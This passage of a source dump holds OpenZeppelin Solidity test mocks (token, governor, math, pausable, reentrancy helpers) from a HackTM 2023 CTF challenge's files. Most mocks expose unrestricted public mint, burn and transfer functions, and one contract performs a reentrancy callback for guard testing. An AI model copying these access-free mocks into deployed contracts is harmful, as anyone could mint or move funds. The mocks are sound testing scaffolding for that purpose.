symbol_) { 11 | _decimals = decimals_; 12 | } 13 | 14 | function decimals() public view override returns (uint8) { 15 | return _decimals; 16 | } 17 | 18 | function mint(address account, uint256 amount) public { 19 | _mint(account, amount); 20 | } 21 | 22 | function burn(address account, uint256 amount) public { 23 | _burn(account, amount); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20FlashMintMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC20FlashMint.sol"; 6 | 7 | contract ERC20FlashMintMock is ERC20FlashMint { 8 | uint256 _flashFeeAmount; 9 | address _flashFeeReceiverAddress; 10 | 11 | constructor( 12 | string memory name, 13 | string memory symbol, 14 | address initialAccount, 15 | uint256 initialBalance 16 | ) ERC20(name, symbol) { 17 | _mint(initialAccount, initialBalance); 18 | } 19 | 20 | function mint(address account, uint256 amount) public { 21 | _mint(account, amount); 22 | } 23 | 24 | function setFlashFee(uint256 amount) public { 25 | _flashFeeAmount = amount; 26 | } 27 | 28 | function _flashFee(address, uint256) internal view override returns (uint256) { 29 | return _flashFeeAmount; 30 | } 31 | 32 | function setFlashFeeReceiver(address receiver) public { 33 | _flashFeeReceiverAddress = receiver; 34 | } 35 | 36 | function flashFeeReceiver() public view returns (address) { 37 | return _flashFeeReceiver(); 38 | } 39 | 40 | function _flashFeeReceiver() internal view override returns (address) { 41 | return _flashFeeReceiverAddress; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20Mock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/ERC20.sol"; 6 | 7 | // mock class using ERC20 8 | contract ERC20Mock is ERC20 { 9 | constructor( 10 | string memory name, 11 | string memory symbol, 12 | address initialAccount, 13 | uint256 initialBalance 14 | ) payable ERC20(name, symbol) { 15 | _mint(initialAccount, initialBalance); 16 | } 17 | 18 | function mint(address account, uint256 amount) public { 19 | _mint(account, amount); 20 | } 21 | 22 | function burn(address account, uint256 amount) public { 23 | _burn(account, amount); 24 | } 25 | 26 | function transferInternal(address from, address to, uint256 value) public { 27 | _transfer(from, to, value); 28 | } 29 | 30 | function approveInternal(address owner, address spender, uint256 value) public { 31 | _approve(owner, spender, value); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20PausableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC20Pausable.sol"; 6 | 7 | // mock class using ERC20Pausable 8 | contract ERC20PausableMock is ERC20Pausable { 9 | constructor( 10 | string memory name, 11 | string memory symbol, 12 | address initialAccount, 13 | uint256 initialBalance 14 | ) ERC20(name, symbol) { 15 | _mint(initialAccount, initialBalance); 16 | } 17 | 18 | function pause() external { 19 | _pause(); 20 | } 21 | 22 | function unpause() external { 23 | _unpause(); 24 | } 25 | 26 | function mint(address to, uint256 amount) public { 27 | _mint(to, amount); 28 | } 29 | 30 | function burn(address from, uint256 amount) public { 31 | _burn(from, amount); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20PermitMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC20Permit.sol"; 6 | 7 | contract ERC20PermitMock is ERC20Permit { 8 | constructor( 9 | string memory name, 10 | string memory symbol, 11 | address initialAccount, 12 | uint256 initialBalance 13 | ) payable ERC20(name, symbol) ERC20Permit(name) { 14 | _mint(initialAccount, initialBalance); 15 | } 16 | 17 | function getChainId() external view returns (uint256) { 18 | return block.chainid; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20SnapshotMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC20Snapshot.sol"; 6 | 7 | contract ERC20SnapshotMock is ERC20Snapshot { 8 | constructor( 9 | string memory name, 10 | string memory symbol, 11 | address initialAccount, 12 | uint256 initialBalance 13 | ) ERC20(name, symbol) { 14 | _mint(initialAccount, initialBalance); 15 | } 16 | 17 | function snapshot() public { 18 | _snapshot(); 19 | } 20 | 21 | function mint(address account, uint256 amount) public { 22 | _mint(account, amount); 23 | } 24 | 25 | function burn(address account, uint256 amount) public { 26 | _burn(account, amount); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20VotesCompMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC20VotesComp.sol"; 6 | 7 | contract ERC20VotesCompMock is ERC20VotesComp { 8 | constructor(string memory name, string memory symbol) ERC20(name, symbol) ERC20Permit(name) {} 9 | 10 | function mint(address account, uint256 amount) public { 11 | _mint(account, amount); 12 | } 13 | 14 | function burn(address account, uint256 amount) public { 15 | _burn(account, amount); 16 | } 17 | 18 | function getChainId() external view returns (uint256) { 19 | return block.chainid; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20VotesMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC20Votes.sol"; 6 | 7 | contract ERC20VotesMock is ERC20Votes { 8 | constructor(string memory name, string memory symbol) ERC20(name, symbol) ERC20Permit(name) {} 9 | 10 | function mint(address account, uint256 amount) public { 11 | _mint(account, amount); 12 | } 13 | 14 | function burn(address account, uint256 amount) public { 15 | _burn(account, amount); 16 | } 17 | 18 | function getChainId() external view returns (uint256) { 19 | return block.chainid; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC20WrapperMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC20Wrapper.sol"; 6 | 7 | contract ERC20WrapperMock is ERC20Wrapper { 8 | constructor( 9 | IERC20 _underlyingToken, 10 | string memory name, 11 | string memory symbol 12 | ) ERC20(name, symbol) ERC20Wrapper(_underlyingToken) {} 13 | 14 | function recover(address account) public returns (uint256) { 15 | return _recover(account); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC2771ContextMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.9; 4 | 5 | import "./ContextMock.sol"; 6 | import "../metatx/ERC2771Context.sol"; 7 | 8 | // By inheriting from ERC2771Context, Context's internal functions are overridden automatically 9 | contract ERC2771ContextMock is ContextMock, ERC2771Context { 10 | /// @custom:oz-upgrades-unsafe-allow constructor 11 | constructor(address trustedForwarder) ERC2771Context(trustedForwarder) { 12 | emit Sender(_msgSender()); // _msgSender() should be accessible during construction 13 | } 14 | 15 | function _msgSender() internal view override(Context, ERC2771Context) returns (address) { 16 | return ERC2771Context._msgSender(); 17 | } 18 | 19 | function _msgData() internal view override(Context, ERC2771Context) returns (bytes calldata) { 20 | return ERC2771Context._msgData(); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC4626Mock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC20/extensions/ERC4626.sol"; 6 | 7 | contract ERC4626Mock is ERC4626 { 8 | constructor(IERC20Metadata asset, string memory name, string memory symbol) ERC20(name, symbol) ERC4626(asset) {} 9 | 10 | function mockMint(address account, uint256 amount) public { 11 | _mint(account, amount); 12 | } 13 | 14 | function mockBurn(address account, uint256 amount) public { 15 | _burn(account, amount); 16 | } 17 | } 18 | 19 | contract ERC4626DecimalMock is ERC4626Mock { 20 | using Math for uint256; 21 | 22 | uint8 private immutable _decimals; 23 | 24 | constructor( 25 | IERC20Metadata asset, 26 | string memory name, 27 | string memory symbol, 28 | uint8 decimalsOverride 29 | ) ERC4626Mock(asset, name, symbol) { 30 | _decimals = decimalsOverride; 31 | } 32 | 33 | function decimals() public view virtual override returns (uint8) { 34 | return _decimals; 35 | } 36 | 37 | function _initialConvertToShares( 38 | uint256 assets, 39 | Math.Rounding rounding 40 | ) internal view virtual override returns (uint256 shares) { 41 | return assets.mulDiv(10 ** decimals(), 10 ** super.decimals(), rounding); 42 | } 43 | 44 | function _initialConvertToAssets( 45 | uint256 shares, 46 | Math.Rounding rounding 47 | ) internal view virtual override returns (uint256 assets) { 48 | return shares.mulDiv(10 ** super.decimals(), 10 ** decimals(), rounding); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC721BurnableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC721/extensions/ERC721Burnable.sol"; 6 | 7 | contract ERC721BurnableMock is ERC721Burnable { 8 | constructor(string memory name, string memory symbol) ERC721(name, symbol) {} 9 | 10 | function exists(uint256 tokenId) public view returns (bool) { 11 | return _exists(tokenId); 12 | } 13 | 14 | function mint(address to, uint256 tokenId) public { 15 | _mint(to, tokenId); 16 | } 17 | 18 | function safeMint(address to, uint256 tokenId) public { 19 | _safeMint(to, tokenId); 20 | } 21 | 22 | function safeMint(address to, uint256 tokenId, bytes memory _data) public { 23 | _safeMint(to, tokenId, _data); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC721EnumerableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC721/extensions/ERC721Enumerable.sol"; 6 | 7 | /** 8 | * @title ERC721Mock 9 | * This mock just provides a public safeMint, mint, and burn functions for testing purposes 10 | */ 11 | contract ERC721EnumerableMock is ERC721Enumerable { 12 | string private _baseTokenURI; 13 | 14 | constructor(string memory name, string memory symbol) ERC721(name, symbol) {} 15 | 16 | function _baseURI() internal view override returns (string memory) { 17 | return _baseTokenURI; 18 | } 19 | 20 | function setBaseURI(string calldata newBaseTokenURI) public { 21 | _baseTokenURI = newBaseTokenURI; 22 | } 23 | 24 | function baseURI() public view returns (string memory) { 25 | return _baseURI(); 26 | } 27 | 28 | function exists(uint256 tokenId) public view returns (bool) { 29 | return _exists(tokenId); 30 | } 31 | 32 | function mint(address to, uint256 tokenId) public { 33 | _mint(to, tokenId); 34 | } 35 | 36 | function safeMint(address to, uint256 tokenId) public { 37 | _safeMint(to, tokenId); 38 | } 39 | 40 | function safeMint(address to, uint256 tokenId, bytes memory _data) public { 41 | _safeMint(to, tokenId, _data); 42 | } 43 | 44 | function burn(uint256 tokenId) public { 45 | _burn(tokenId); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC721Mock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC721/ERC721.sol"; 6 | 7 | /** 8 | * @title ERC721Mock 9 | * This mock just provides a public safeMint, mint, and burn functions for testing purposes 10 | */ 11 | contract ERC721Mock is ERC721 { 12 | constructor(string memory name, string memory symbol) ERC721(name, symbol) {} 13 | 14 | function baseURI() public view returns (string memory) { 15 | return _baseURI(); 16 | } 17 | 18 | function exists(uint256 tokenId) public view returns (bool) { 19 | return _exists(tokenId); 20 | } 21 | 22 | function mint(address to, uint256 tokenId) public { 23 | _mint(to, tokenId); 24 | } 25 | 26 | function safeMint(address to, uint256 tokenId) public { 27 | _safeMint(to, tokenId); 28 | } 29 | 30 | function safeMint(address to, uint256 tokenId, bytes memory _data) public { 31 | _safeMint(to, tokenId, _data); 32 | } 33 | 34 | function burn(uint256 tokenId) public { 35 | _burn(tokenId); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC721PausableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC721/extensions/ERC721Pausable.sol"; 6 | 7 | /** 8 | * @title ERC721PausableMock 9 | * This mock just provides a public mint, burn and exists functions for testing purposes 10 | */ 11 | contract ERC721PausableMock is ERC721Pausable { 12 | constructor(string memory name, string memory symbol) ERC721(name, symbol) {} 13 | 14 | function pause() external { 15 | _pause(); 16 | } 17 | 18 | function unpause() external { 19 | _unpause(); 20 | } 21 | 22 | function exists(uint256 tokenId) public view returns (bool) { 23 | return _exists(tokenId); 24 | } 25 | 26 | function mint(address to, uint256 tokenId) public { 27 | _mint(to, tokenId); 28 | } 29 | 30 | function safeMint(address to, uint256 tokenId) public { 31 | _safeMint(to, tokenId); 32 | } 33 | 34 | function safeMint(address to, uint256 tokenId, bytes memory _data) public { 35 | _safeMint(to, tokenId, _data); 36 | } 37 | 38 | function burn(uint256 tokenId) public { 39 | _burn(tokenId); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC721ReceiverMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC721/IERC721Receiver.sol"; 6 | 7 | contract ERC721ReceiverMock is IERC721Receiver { 8 | enum Error { 9 | None, 10 | RevertWithMessage, 11 | RevertWithoutMessage, 12 | Panic 13 | } 14 | 15 | bytes4 private immutable _retval; 16 | Error private immutable _error; 17 | 18 | event Received(address operator, address from, uint256 tokenId, bytes data, uint256 gas); 19 | 20 | constructor(bytes4 retval, Error error) { 21 | _retval = retval; 22 | _error = error; 23 | } 24 | 25 | function onERC721Received( 26 | address operator, 27 | address from, 28 | uint256 tokenId, 29 | bytes memory data 30 | ) public override returns (bytes4) { 31 | if (_error == Error.RevertWithMessage) { 32 | revert("ERC721ReceiverMock: reverting"); 33 | } else if (_error == Error.RevertWithoutMessage) { 34 | revert(); 35 | } else if (_error == Error.Panic) { 36 | uint256 a = uint256(0) / uint256(0); 37 | a; 38 | } 39 | emit Received(operator, from, tokenId, data, gasleft()); 40 | return _retval; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC721RoyaltyMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC721/extensions/ERC721Royalty.sol"; 6 | 7 | contract ERC721RoyaltyMock is ERC721Royalty { 8 | constructor(string memory name, string memory symbol) ERC721(name, symbol) {} 9 | 10 | function setTokenRoyalty(uint256 tokenId, address recipient, uint96 fraction) public { 11 | _setTokenRoyalty(tokenId, recipient, fraction); 12 | } 13 | 14 | function setDefaultRoyalty(address recipient, uint96 fraction) public { 15 | _setDefaultRoyalty(recipient, fraction); 16 | } 17 | 18 | function mint(address to, uint256 tokenId) public { 19 | _mint(to, tokenId); 20 | } 21 | 22 | function burn(uint256 tokenId) public { 23 | _burn(tokenId); 24 | } 25 | 26 | function deleteDefaultRoyalty() public { 27 | _deleteDefaultRoyalty(); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC721URIStorageMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC721/extensions/ERC721URIStorage.sol"; 6 | 7 | /** 8 | * @title ERC721Mock 9 | * This mock just provides a public safeMint, mint, and burn functions for testing purposes 10 | */ 11 | contract ERC721URIStorageMock is ERC721URIStorage { 12 | string private _baseTokenURI; 13 | 14 | constructor(string memory name, string memory symbol) ERC721(name, symbol) {} 15 | 16 | function _baseURI() internal view override returns (string memory) { 17 | return _baseTokenURI; 18 | } 19 | 20 | function setBaseURI(string calldata newBaseTokenURI) public { 21 | _baseTokenURI = newBaseTokenURI; 22 | } 23 | 24 | function baseURI() public view returns (string memory) { 25 | return _baseURI(); 26 | } 27 | 28 | function setTokenURI(uint256 tokenId, string memory _tokenURI) public { 29 | _setTokenURI(tokenId, _tokenURI); 30 | } 31 | 32 | function exists(uint256 tokenId) public view returns (bool) { 33 | return _exists(tokenId); 34 | } 35 | 36 | function mint(address to, uint256 tokenId) public { 37 | _mint(to, tokenId); 38 | } 39 | 40 | function safeMint(address to, uint256 tokenId) public { 41 | _safeMint(to, tokenId); 42 | } 43 | 44 | function safeMint(address to, uint256 tokenId, bytes memory _data) public { 45 | _safeMint(to, tokenId, _data); 46 | } 47 | 48 | function burn(uint256 tokenId) public { 49 | _burn(tokenId); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC721VotesMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../token/ERC721/extensions/ERC721Votes.sol"; 6 | 7 | contract ERC721VotesMock is ERC721Votes { 8 | constructor(string memory name, string memory symbol) ERC721(name, symbol) EIP712(name, "1") {} 9 | 10 | function getTotalSupply() public view returns (uint256) { 11 | return _getTotalSupply(); 12 | } 13 | 14 | function mint(address account, uint256 tokenId) public { 15 | _mint(account, tokenId); 16 | } 17 | 18 | function burn(uint256 tokenId) public { 19 | _burn(tokenId); 20 | } 21 | 22 | function getChainId() external view returns (uint256) { 23 | return block.chainid; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ERC777Mock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Context.sol"; 6 | import "../token/ERC777/ERC777.sol"; 7 | 8 | contract ERC777Mock is Context, ERC777 { 9 | event BeforeTokenTransfer(); 10 | 11 | constructor( 12 | address initialHolder, 13 | uint256 initialBalance, 14 | string memory name, 15 | string memory symbol, 16 | address[] memory defaultOperators 17 | ) ERC777(name, symbol, defaultOperators) { 18 | _mint(initialHolder, initialBalance, "", ""); 19 | } 20 | 21 | function mintInternal(address to, uint256 amount, bytes memory userData, bytes memory operatorData) public { 22 | _mint(to, amount, userData, operatorData); 23 | } 24 | 25 | function mintInternalExtended( 26 | address to, 27 | uint256 amount, 28 | bytes memory userData, 29 | bytes memory operatorData, 30 | bool requireReceptionAck 31 | ) public { 32 | _mint(to, amount, userData, operatorData, requireReceptionAck); 33 | } 34 | 35 | function approveInternal(address holder, address spender, uint256 value) public { 36 | _approve(holder, spender, value); 37 | } 38 | 39 | function _beforeTokenTransfer(address, address, address, uint256) internal override { 40 | emit BeforeTokenTransfer(); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/EtherReceiverMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract EtherReceiverMock { 6 | bool private _acceptEther; 7 | 8 | function setAcceptEther(bool acceptEther) public { 9 | _acceptEther = acceptEther; 10 | } 11 | 12 | receive() external payable { 13 | if (!_acceptEther) { 14 | revert(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/GovernorCompMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../governance/extensions/GovernorCountingSimple.sol"; 6 | import "../governance/extensions/GovernorVotesComp.sol"; 7 | 8 | contract GovernorCompMock is GovernorVotesComp, GovernorCountingSimple { 9 | constructor(string memory name_, ERC20VotesComp token_) Governor(name_) GovernorVotesComp(token_) {} 10 | 11 | function quorum(uint256) public pure override returns (uint256) { 12 | return 0; 13 | } 14 | 15 | function votingDelay() public pure override returns (uint256) { 16 | return 4; 17 | } 18 | 19 | function votingPeriod() public pure override returns (uint256) { 20 | return 16; 21 | } 22 | 23 | function cancel( 24 | address[] memory targets, 25 | uint256[] memory values, 26 | bytes[] memory calldatas, 27 | bytes32 salt 28 | ) public returns (uint256 proposalId) { 29 | return _cancel(targets, values, calldatas, salt); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/GovernorMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../governance/extensions/GovernorProposalThreshold.sol"; 6 | import "../governance/extensions/GovernorSettings.sol"; 7 | import "../governance/extensions/GovernorCountingSimple.sol"; 8 | import "../governance/extensions/GovernorVotesQuorumFraction.sol"; 9 | 10 | contract GovernorMock is 11 | GovernorProposalThreshold, 12 | GovernorSettings, 13 | GovernorVotesQuorumFraction, 14 | GovernorCountingSimple 15 | { 16 | constructor( 17 | string memory name_, 18 | IVotes token_, 19 | uint256 votingDelay_, 20 | uint256 votingPeriod_, 21 | uint256 quorumNumerator_ 22 | ) 23 | Governor(name_) 24 | GovernorSettings(votingDelay_, votingPeriod_, 0) 25 | GovernorVotes(token_) 26 | GovernorVotesQuorumFraction(quorumNumerator_) 27 | {} 28 | 29 | function cancel( 30 | address[] memory targets, 31 | uint256[] memory values, 32 | bytes[] memory calldatas, 33 | bytes32 salt 34 | ) public returns (uint256 proposalId) { 35 | return _cancel(targets, values, calldatas, salt); 36 | } 37 | 38 | function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) { 39 | return super.proposalThreshold(); 40 | } 41 | 42 | function propose( 43 | address[] memory targets, 44 | uint256[] memory values, 45 | bytes[] memory calldatas, 46 | string memory description 47 | ) public override(Governor, GovernorProposalThreshold) returns (uint256) { 48 | return super.propose(targets, values, calldatas, description); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/GovernorVoteMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../governance/extensions/GovernorCountingSimple.sol"; 6 | import "../governance/extensions/GovernorVotes.sol"; 7 | 8 | contract GovernorVoteMocks is GovernorVotes, GovernorCountingSimple { 9 | constructor(string memory name_, IVotes token_) Governor(name_) GovernorVotes(token_) {} 10 | 11 | function quorum(uint256) public pure override returns (uint256) { 12 | return 0; 13 | } 14 | 15 | function votingDelay() public pure override returns (uint256) { 16 | return 4; 17 | } 18 | 19 | function votingPeriod() public pure override returns (uint256) { 20 | return 16; 21 | } 22 | 23 | function cancel( 24 | address[] memory targets, 25 | uint256[] memory values, 26 | bytes[] memory calldatas, 27 | bytes32 salt 28 | ) public returns (uint256 proposalId) { 29 | return _cancel(targets, values, calldatas, salt); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/MathMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/math/Math.sol"; 6 | 7 | contract MathMock { 8 | function max(uint256 a, uint256 b) public pure returns (uint256) { 9 | return Math.max(a, b); 10 | } 11 | 12 | function min(uint256 a, uint256 b) public pure returns (uint256) { 13 | return Math.min(a, b); 14 | } 15 | 16 | function average(uint256 a, uint256 b) public pure returns (uint256) { 17 | return Math.average(a, b); 18 | } 19 | 20 | function ceilDiv(uint256 a, uint256 b) public pure returns (uint256) { 21 | return Math.ceilDiv(a, b); 22 | } 23 | 24 | function mulDiv(uint256 a, uint256 b, uint256 denominator, Math.Rounding direction) public pure returns (uint256) { 25 | return Math.mulDiv(a, b, denominator, direction); 26 | } 27 | 28 | function sqrt(uint256 a, Math.Rounding direction) public pure returns (uint256) { 29 | return Math.sqrt(a, direction); 30 | } 31 | 32 | function log2(uint256 a, Math.Rounding direction) public pure returns (uint256) { 33 | return Math.log2(a, direction); 34 | } 35 | 36 | function log10(uint256 a, Math.Rounding direction) public pure returns (uint256) { 37 | return Math.log10(a, direction); 38 | } 39 | 40 | function log256(uint256 a, Math.Rounding direction) public pure returns (uint256) { 41 | return Math.log256(a, direction); 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/MulticallTest.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./MulticallTokenMock.sol"; 6 | 7 | contract MulticallTest { 8 | function checkReturnValues( 9 | MulticallTokenMock multicallToken, 10 | address[] calldata recipients, 11 | uint256[] calldata amounts 12 | ) external { 13 | bytes[] memory calls = new bytes[](recipients.length); 14 | for (uint256 i = 0; i < recipients.length; i++) { 15 | calls[i] = abi.encodeWithSignature("transfer(address,uint256)", recipients[i], amounts[i]); 16 | } 17 | 18 | bytes[] memory results = multicallToken.multicall(calls); 19 | for (uint256 i = 0; i < results.length; i++) { 20 | require(abi.decode(results[i], (bool))); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/MulticallTokenMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Multicall.sol"; 6 | import "./ERC20Mock.sol"; 7 | 8 | contract MulticallTokenMock is ERC20Mock, Multicall { 9 | constructor(uint256 initialBalance) ERC20Mock("MulticallToken", "BCT", msg.sender, initialBalance) {} 10 | } 11 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/Ownable2StepMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../access/Ownable2Step.sol"; 6 | 7 | contract Ownable2StepMock is Ownable2Step {} 8 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/OwnableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../access/Ownable.sol"; 6 | 7 | contract OwnableMock is Ownable {} 8 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/PausableMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../security/Pausable.sol"; 6 | 7 | contract PausableMock is Pausable { 8 | bool public drasticMeasureTaken; 9 | uint256 public count; 10 | 11 | constructor() { 12 | drasticMeasureTaken = false; 13 | count = 0; 14 | } 15 | 16 | function normalProcess() external whenNotPaused { 17 | count++; 18 | } 19 | 20 | function drasticMeasure() external whenPaused { 21 | drasticMeasureTaken = true; 22 | } 23 | 24 | function pause() external { 25 | _pause(); 26 | } 27 | 28 | function unpause() external { 29 | _unpause(); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/PullPaymentMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../security/PullPayment.sol"; 6 | 7 | // mock class using PullPayment 8 | contract PullPaymentMock is PullPayment { 9 | constructor() payable {} 10 | 11 | // test helper function to call asyncTransfer 12 | function callTransfer(address dest, uint256 amount) public { 13 | _asyncTransfer(dest, amount); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ReentrancyAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../utils/Context.sol"; 6 | 7 | contract ReentrancyAttack is Context { 8 | function callSender(bytes4 data) public { 9 | (bool success, ) = _msgSender().call(abi.encodeWithSelector(data)); 10 | require(success, "ReentrancyAttack: failed call"); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/ReentrancyMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../security/ReentrancyGuard.sol"; 6 | import "./ReentrancyAttack.sol"; 7 | 8 | contract ReentrancyMock is ReentrancyGuard { 9 | uint256 public counter; 10 | 11 | constructor() { 12 | counter = 0; 13 | } 14 | 15 | function callback() external nonReentrant { 16 | _count(); 17 | } 18 | 19 | function countLocalRecursive(uint256 n) public nonReentrant { 20 | if (n > 0) { 21 | _count(); 22 | countLocalRecursive(n - 1); 23 | } 24 | } 25 | 26 | function countThisRecursive(uint256 n) public nonReentrant { 27 | if (n > 0) { 28 | _count(); 29 | 